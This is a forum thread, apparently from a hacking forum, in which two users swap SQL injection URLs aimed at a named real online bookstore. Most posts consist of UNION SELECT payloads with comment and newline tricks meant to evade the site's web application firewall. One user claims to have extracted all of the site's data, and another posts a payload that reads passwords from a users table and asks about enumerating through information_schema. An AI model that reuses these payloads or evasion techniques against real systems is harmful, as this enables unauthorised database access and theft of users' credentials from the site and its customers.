

Forum: [Hack Forums](#)

Thread: [Is there a way to extract the column data?](#)

Hackme1983 - April 16, 2021, 9:04 pm

Is there a way to extract the column data?

Code `https://almashregebookstore.com/booksingle.php?id=.1824 +UnIoN%23aa%0ASeLeCt 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--`

Fad3d_Anne - April 17, 2021, 8:40 am

(Apr 16, 2021 09:04 PM)Hackme1983 Wrote: [\[CITE\]](#) Is there a way to extract the column data?

Code `https://almashregebookstore.com/booksingle.php?id=.1824 +UnIoN%23aa%0ASeLeCt 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--`
here you go:

https://almashregebookstore.com/booksingle.php?id=-1824+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A

`+1,2,3,%23foo%0D%0AConcat(version())%23foo%0D%0A,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--`

you can play with WAF's.

Hackme1983 - April 17, 2021, 6:26 pm

(Apr 17, 2021 08:40 AM)Fad3d_Anne Wrote: [\[CITE\]](#) here you go:

https://almashregebookstore.com/booksingle.php?id=-1824+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A

`+1,2,3,%23foo%0D%0AConcat(version())%23foo%0D%0A,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--`

you can play with WAF's.

I mean table name and column name - hard waf

Fad3d_Anne - April 17, 2021, 8:47 pm

(Apr 17, 2021 06:26 PM)Hackme1983 Wrote: [\[CITE\]](#) I mean table name and column name - hard waf
Yes, WAF on this site is hard. But I successfully pull all of their data. you can play different kind of WAF to evade the security.

Hackme1983 - April 18, 2021, 7:13 am

(Apr 17, 2021 08:47 PM)Fad3d_Anne Wrote: [\[CITE\]](#) Yes, WAF on this site is hard. But I successfully pull all of their data. you can play different kind of WAF to evade the security.
I get all data too like here

Code /booksingle.php?id=.1824 +UnIoN%23aa%0ASeLeCt 1,2,3,password+from+users-- -
I ask if u can inject with information_schema